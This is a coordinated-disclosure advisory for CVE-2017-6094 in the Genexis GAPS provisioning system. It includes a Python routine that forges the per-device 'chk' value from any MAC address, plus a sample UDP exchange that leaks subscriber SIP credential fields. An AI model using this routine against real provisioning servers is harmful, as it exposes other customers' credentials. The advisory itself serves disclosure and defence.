Genexis GAPS 7.2 Access Control

Genexis GAPS versions up to 7.2 suffers from an access control vulnerability that discloses sensitive data.


MD5 | b2f30851e9f2906c8143802a6f88b0f1

################################################################################
# #
# CVE-2017-6094 - Genexis GAPS Access Control Vulnerability #
# #
################################################################################
# #
# Product: Genexis Automatic Provisioning System (GAPS) #
# Vendor: Genexis B.V. #
# CVE ID: CVE-2017-6094 #
# Subject: Access control vulnerability #
# Effect: Leaked configuration settings, including user credentials #
# Author: Antoine Neuenschwander <[email protected]> #
# Date: 2017-12-18 #
# #
################################################################################


Vendor/product description:
-----------------------------
Genexis develops FTTH equipment for the optical distribution networks of ISPs
including customer premises equipment (CPE) as well as infrastructure
components, supporting triple-play services (broadband internet, IPTV and VoIP).
The Genexis Automatic Provisioning System (GAPS) is the service used to monitor,
configure and update the CPEs.
URL: https://genexis.eu/product/gaps/

Introduction:
-------------
Management of Genexis CPEs can be done using TR-069 or DHCP/TFTP in combination
with UDP-based CPE commands. The CPE checks for most recent settings at startup
and performs periodic update checks. GAPS provides the configuration settings
for individual CPEs based on the device's MAC address. A configuration record
includes the following settings (among other):
- tftp server address, used to retrieve firmware images
- ingress and egress bitrates, according to the user's subscription
- sip server address, used to register to a VoIP service
- sip client credentials, used to authenticate the VoIP client
- ...
Given the MAC address, it was found possible to retrieve the configuration
settings of other subscribers' CPEs by sending forged UDP packets to GAPS. As a
result, sensitive data such as the sip credentials are exposed.

Affected:
---------
This issue affects all versions up to 7.2. First mitigations available after
version 6.1.

Technical Description:
----------------------
A CPE identifies itself by the MAC address of its WAN interface and a certain
"chk" value (48bit) derived from the MAC. The algorithm used to compute the
"chk" was disclosed by reverse engineering the CPE's firmware (retrieved from
the tftp server). It is possible to forge valid "chk" values for any given MAC
address using the following python routine:

def chk(mac):
a = [int(x, 16) for x in mac.split(':', 6)]
chk = [0] * 6

chk[5] = 1*a[0] + 3*a[1] + 7*a[2] + 115 & 0xff
chk[3] = 7*a[1] + 1*a[2] + 3*a[3] + 101 & 0xff
chk[0] = 3*a[2] + 7*a[3] + 1*a[4] + 99 & 0xff
chk[4] = 1*a[3] + 3*a[4] + 7*a[5] + 114 & 0xff
chk[1] = 3*a[0] + 7*a[4] + 1*a[5] + 101 & 0xff
chk[2] = 7*a[0] + 1*a[1] + 3*a[5] + 116 & 0xff

return ':'.join(['{:02x}'.format(x) for x in chk])

Example UDP message exchange (CPE <-> GAPS):
--------------------------------------------

> mac=000f9461cafe
> chk=90e97d8523ac
> type=OCG1018MX
> hw=0
> fw=OCG1018MX.v1.10.0.10c.bin
> stage=0

< vlan_mmt=62241
< vlan_voice=58146
< vlan_p1=33572
< defpri=0000000000000000
< vlansp1=8324
< prip1=00
< userid0=<phonenr>
< authid0=<userid>
< passwd0=<password>
< clip0=1
< clir0=0
< callwait0=0
< conference0=0
< clip1=0
< clir1=0
< callwait1=0
< conference1=0
< tftp_server=10.21.0.7
< tftp_server_port=69
< storecfg=0
< sip_server=<sip provider ip>
< sip_server_port=5060
< ratecount=3
< reg_exp=4
< country=ch
< send_dtmf=1
< sendflash=0
< dialplan=4|0[2-7]1[^]8|0[89]1[^]8|18[0-9]2|16[0-9]1|[^]+
< cliptype=1
< erate_p1=300
< versionOCG1018MX=OCG1018MX.v1.10.0.10c.bin
< erate_wan=300
< irate=012c0000000000000000000000000000
< erate=012c0000000000000000000000000000

Workaround / Fix:
-----------------
As of GAPS 6.2, GAPS provides a workaround to limit CPE requests. To further
improve security, it is advised to use MACless provisioning with random postfix
to harden the workaround.
Starting with GAPS 7.3, the GAPS protocol will support a mechanism to prevent
calculated checksums to be be valid.

Timeline:
---------
2017-01-13: Found vulnerability
2017-01-16: Contacted ISP
2017-01-17: ISP confirms vulnerability and contacts vendor
2017-01-18: Vendor confirms vulnerability
2017-02-13: CVE-ID requested
2017-02-19: CVE-ID assigned
2017-05-19: Vendor agrees on disclosure date: 2017-07-03
2017-06-23: Vendor postpones disclosure date: 2017-09-01
2017-07-31: Vendor postpones disclosure date: 2017-12-18
2017-12-18: Coordinated disclosure



Related Posts